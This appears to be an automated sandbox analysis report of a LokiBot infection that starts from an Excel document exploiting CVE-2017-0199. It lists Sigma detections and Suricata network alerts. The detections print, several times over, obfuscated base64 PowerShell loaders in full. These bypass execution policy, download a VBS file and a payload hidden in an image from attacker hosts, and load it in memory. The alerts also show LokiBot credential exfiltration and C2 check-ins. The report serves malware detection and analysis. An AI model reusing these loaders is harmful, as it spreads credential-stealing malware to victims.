Iex($(IEx('[sYsTem.TeXt.eNcOdiNg]'+[ChAR]58+[chAR]0X3A+'utf8.getSTrIng([sYsTeM.cOnvErt]'+[CHar]0x3A+[cHaR]0x3A+'frOMbAsE64StrinG('+[ChAR]0x22+'JFQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtQkVyZEVGSU5pdGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVybG1vbi5kTEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmhQQVdhVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpIT0djVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFvLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxzaGJQSHRzLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuaWVlIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnB3WUlpRnNleCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xNzYuMTQxLzM2L2dvb2R0aGluZ3N3aXRoZ3JlYXRjb21lYmFja3dpdGhncmVhdHRoaWducy50SUYiLCIkRU5WOkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMiLDAsMCk7c1RhUnQtc2xlZVAoMyk7U3RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU52OkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMi'+[ChAr]34+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3568, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\goodthingswithgreatcomebackwithgreatthig.vbS" , ProcessId: 3864, ProcessName: wscript.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnVUNRaW1hZ2VVcmwgPSAwVERodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2EnKydkJysnJmlkPTFBSVZnSkpKdjFGNnZTNHNVT3libkgtc0R2VWhCWXd1ciAwVEQ7VUNRd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlcnKydlYkNsaWVudDtVQ1FpbWFnZUJ5dGVzID0gVUNRd2ViQ2xpZW50LkRvd25sb2FkRGF0YShVQ1FpbScrJ2FnZVVybCk7VUNRaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcnKycoVUNRaW1hZ2VCeXRlcyk7VUNRc3RhcnRGbGFnID0gMFREPDxCQVNFNjRfU1RBUlQ+PjBURDtVQ1EnKydlbmRGbGFnID0gMFREPDxCQVNFNjRfRU5EPj4wVEQ7VUNRc3RhcnRJbmRleCA9IFVDUWltYWdlVGV4dC5JbmRleE9mKFVDUXN0YXJ0RmxhZyk7VUNRZW5kSW5kZXggPSBVQ1FpbWFnZVRleHQuSW5kZXhPZihVQ1FlbmRGbGFnKTtVQ1FzdCcrJ2FydEluZGV4IC1nZSAwIC1hbmQgVUNRZW5kSW5kZXggLWd0IFVDUXN0YXJ0SW5kZXg7VUNRc3RhcnRJbmRleCArPSBVQ1FzdGFydEZsYWcuTGVuZ3RoO1VDUWJhc2U2NCcrJ0xlbmd0aCA9ICcrJ1VDJysnUScrJ2VuZEluZGV4IC0gVUNRc3RhcnRJbmRleDtVQ1FiYXNlNjRDb21tYW5kICcrJz0gVUNRaW1hZ2VUZXh0LlN1YnN0cmluZyhVQ1FzdGFydEluZGV4LCBVQ1FiYXNlNjRMZW5ndGgpO1VDUWJhc2U2NFJldmVyc2VkID0gLWpvaW4gKFVDUWJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSBQeXogRm9yRWFjaC1PYmplY3QgeyBVQ1FfIH0pWycrJy0xLi4tKFVDUWJhc2U2NENvbW1hbmQuTGVuZ3RoKV07VUNRY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhVQ1FiYXNlNjRSZXZlcnNlZCk7VUNRbG9hZGVkQXNzJysnZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFVDUWNvbW1hbmRCeXRlcyk7VUMnKydRdmFpTWV0aG9kID0gW2RubGliLklPLkhvbScrJ2VdLkdldE1ldGhvZCgwVERWQUkwVEQpO1VDUXZhaU1ldGhvZC5JbnZva2UoJysnVUNRJysnbnVsbCwgQCgwVER0eHQuSUtPTDAyJVNHT0wvNjMvMTQxLjYnKyc3MS4zLjI5MS8vOnB0dGgwVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aScrJ3ZhZG8wVEQsIDBUREFkZEluUHJvY2VzczMyMFRELCAwVERkZXNhdGl2YWRvMFRELCAwVERkZXNhdGl2YWRvMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwnKycwVERkZXNhdGl2YWRvJysnMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwwVCcrJ0QxMFRELDBURGRlc2F0aXZhZCcrJ28wVEQpKScrJzsnKS1yRXBsYWNFJ1VDUScsW2NIYVJdMzYgIC1yRXBsYWNFJzBURCcsW2NIYVJdMzkgIC1yRXBsYWNFIChbY0hhUl04MCtbY0hhUl0xMjErW2NIYVJdMTIyKSxbY0hhUl0xMjQpIHwuICgoR0VULXZhUklhQkxlICcqbWRyKicpLm5hTUVbMywxMSwyXS1Kb0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnVUNRaW1hZ2VVcmwgPSAwVERodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2EnKydkJysnJmlkPTFBSVZnSkpKdjFGNnZTNHNVT3libkgtc0R2VWhCWXd1ciAwVEQ7VUNRd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlcnKydlYkNsaWVudDtVQ1FpbWFnZUJ5dGVzID0gVUNRd2ViQ2xpZW50LkRvd25sb2FkRGF0YShVQ1FpbScrJ2FnZVVybCk7VUNRaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcnKycoVUNRaW1hZ2VCeXRlcyk7VUNRc3RhcnRGbGFnID0gMFREPDxCQVNFNjRfU1RBUlQ+PjBURDtVQ1EnKydlbmRGbGFnID0gMFREPDxCQVNFNjRfRU5EPj4wVEQ7VUNRc3RhcnRJbmRleCA9IFVDUWltYWdlVGV4dC5JbmRleE9mKFVDUXN0YXJ0RmxhZyk7VUNRZW5kSW5kZXggPSBVQ1FpbWFnZVRleHQuSW5kZXhPZihVQ1FlbmRGbGFnKTtVQ1FzdCcrJ2Fy

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\41k31je4\41k31je4.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\41k31je4\41k31je4.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\sYSTEm32\WinDOWspOwershElL\v1.0\pOweRshEll.eXe" "PoWeRshELL.exE -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE ; Iex($(IEx('[sYsTem.TeXt.eNcOdiNg]'+[ChAR]58+[chAR]0X3A+'utf8.getSTrIng([sYsTeM.cOnvErt]'+[CHar]0x3A+[cHaR]0x3A+'frOMbAsE64StrinG('+[ChAR]0x22+'JFQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtQkVyZEVGSU5pdGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVybG1vbi5kTEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmhQQVdhVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpIT0djVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFvLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxzaGJQSHRzLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuaWVlIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnB3WUlpRnNleCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xNzYuMTQxLzM2L2dvb2R0aGluZ3N3aXRoZ3JlYXRjb21lYmFja3dpdGhncmVhdHRoaWducy50SUYiLCIkRU5WOkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMiLDAsMCk7c1RhUnQtc2xlZVAoMyk7U3RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU52OkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMi'+[ChAr]34+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3568, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\41k31je4\41k31je4.cmdline", ProcessId: 3772, ProcessName: csc.exe

Sigma detected: Excel Network Connections

Source: Network Connection

Author: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0", Tim Shelton: Data: DestinationIp: 5.159.62.244, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, Initiated: true, ProcessId: 3208, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49163

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3568, TargetFilename: C:\Users\user\AppData\Roaming\goodthingswithgreatcomebackwithgreatthig.vbS

Sigma detected: Suspicious Office Outbound Connections

Source: Network Connection

Author: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49163, EventID: 3, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, Initiated: true, ProcessId: 3208, Protocol: tcp, SourceIp: 5.159.62.244, SourceIsIpv6: false, SourcePort: 443

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\goodthingswithgreatcomebackwithgreatthig.vbS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\goodthingswithgreatcomebackwithgreatthig.vbS" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Windows\sYSTEm32\WinDOWspOwershElL\v1.0\pOweRshEll.eXe" "PoWeRshELL.exE -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE ; Iex($(IEx('[sYsTem.TeXt.eNcOdiNg]'+[ChAR]58+[chAR]0X3A+'utf8.getSTrIng([sYsTeM.cOnvErt]'+[CHar]0x3A+[cHaR]0x3A+'frOMbAsE64StrinG('+[ChAR]0x22+'JFQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtQkVyZEVGSU5pdGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVybG1vbi5kTEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmhQQVdhVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpIT0djVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFvLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxzaGJQSHRzLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuaWVlIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnB3WUlpRnNleCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xNzYuMTQxLzM2L2dvb2R0aGluZ3N3aXRoZ3JlYXRjb21lYmFja3dpdGhncmVhdHRoaWducy50SUYiLCIkRU5WOkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMiLDAsMCk7c1RhUnQtc2xlZVAoMyk7U3RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU52OkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMi'+[ChAr]34+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3568, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\goodthingswithgreatcomebackwithgreatthig.vbS" , ProcessId: 3864, ProcessName: wscript.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3568, TargetFilename: C:\Users\user\AppData\Local\Temp\41k31je4\41k31je4.cmdline

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ProcessId: 3208, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\sYSTEm32\WinDOWspOwershElL\v1.0\pOweRshEll.eXe" "PoWeRshELL.exE -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE ; Iex($(IEx('[sYsTem.TeXt.eNcOdiNg]'+[ChAR]58+[chAR]0X3A+'utf8.getSTrIng([sYsTeM.cOnvErt]'+[CHar]0x3A+[cHaR]0x3A+'frOMbAsE64StrinG('+[ChAR]0x22+'JFQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtQkVyZEVGSU5pdGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVybG1vbi5kTEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmhQQVdhVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpIT0djVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFvLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxzaGJQSHRzLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuaWVlIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnB3WUlpRnNleCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xNzYuMTQxLzM2L2dvb2R0aGluZ3N3aXRoZ3JlYXRjb21lYmFja3dpdGhncmVhdHRoaWducy50SUYiLCIkRU5WOkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMiLDAsMCk7c1RhUnQtc2xlZVAoMyk7U3RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU52OkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMi'+[ChAr]34+'))')))", CommandLine: "C:\Windows\sYSTEm32\WinDOWspOwershElL\v1.0\pOweRshEll.eXe" "PoWeRshELL.exE -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE ; Iex($(IEx('[sYsTem.TeXt.eNcOdiNg]'+[ChAR]58+[chAR]0X3A+'utf8.getSTrIng([sYsTeM.cOnvErt]'+[CHar]0x3A+[cHaR]0x3A+'frOMbAsE64StrinG('+[ChAR]0x22+'JFQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtQkVyZEVGSU5pdGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVybG1vbi5kTEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmhQQVdhVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpIT0djVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFvLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxzaGJQSHRzLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuaWVlIiAgICAgI

Sigma detected: Potential Encoded PowerShell Patterns In CommandLine

Source: Process started

Sigma detected: PowerShell Script Dropped Via PowerShell.EXE

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3568, TargetFilename: C:\Users\user\AppData\Local\Temp\4m2igvns.wzt.ps1

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\41k31je4\41k31je4.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\41k31je4\41k31je4.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\sYSTEm32\WinDOWspOwershElL\v1.0\pOweRshEll.eXe" "PoWeRshELL.exE -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE ; Iex($(IEx('[sYsTem.TeXt.eNcOdiNg]'+[ChAR]58+[chAR]0X3A+'utf8.getSTrIng([sYsTeM.cOnvErt]'+[CHar]0x3A+[cHaR]0x3A+'frOMbAsE64StrinG('+[ChAR]0x22+'JFQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtQkVyZEVGSU5pdGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVybG1vbi5kTEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmhQQVdhVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpIT0djVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFvLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxzaGJQSHRzLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuaWVlIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnB3WUlpRnNleCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xNzYuMTQxLzM2L2dvb2R0aGluZ3N3aXRoZ3JlYXRjb21lYmFja3dpdGhncmVhdHRoaWducy50SUYiLCIkRU5WOkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMiLDAsMCk7c1RhUnQtc2xlZVAoMyk7U3RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU52OkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMi'+[ChAr]34+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3568, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\41k31je4\41k31je4.cmdline", ProcessId: 3772, ProcessName: csc.exe

Suricata Signatures

ET EXPLOIT MSXMLHTTP Download of HTA (Observed in CVE-2017-0199)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:45:24.692922+0200	2024197	1	A Network Trojan was detected	192.3.176.141	80	192.168.2.22	49164	TCP
2024-10-24T08:45:27.389909+0200	2024197	1	A Network Trojan was detected	192.3.176.141	80	192.168.2.22	49166	TCP

ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:45:24.692895+0200	2024449	1	Attempted User Privilege Gain	192.168.2.22	49164	192.3.176.141	80	TCP
2024-10-24T08:45:27.389849+0200	2024449	1	Attempted User Privilege Gain	192.168.2.22	49166	192.3.176.141	80	TCP
2024-10-24T08:45:46.719121+0200	2024449	1	Attempted User Privilege Gain	192.168.2.22	49174	192.3.176.141	80	TCP

ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:46:08.436934+0200	2024312	1	A Network Trojan was detected	192.168.2.22	49178	94.156.177.220	80	TCP
2024-10-24T08:46:09.533913+0200	2024312	1	A Network Trojan was detected	192.168.2.22	49179	94.156.177.220	80	TCP

ET MALWARE LokiBot Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:46:07.501003+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49178	94.156.177.220	80	TCP
2024-10-24T08:46:08.603129+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49179	94.156.177.220	80	TCP
2024-10-24T08:46:09.653987+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49180	94.156.177.220	80	TCP
2024-10-24T08:46:10.793925+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49181	94.156.177.220	80	TCP
2024-10-24T08:46:11.962080+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49182	94.156.177.220	80	TCP
2024-10-24T08:46:13.263396+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49183	94.156.177.220	80	TCP
2024-10-24T08:46:14.530065+0200	2025381	1	Malware Command and Control Activity Detected	192.168.2.22	49184	94.156.177.220	80	TCP
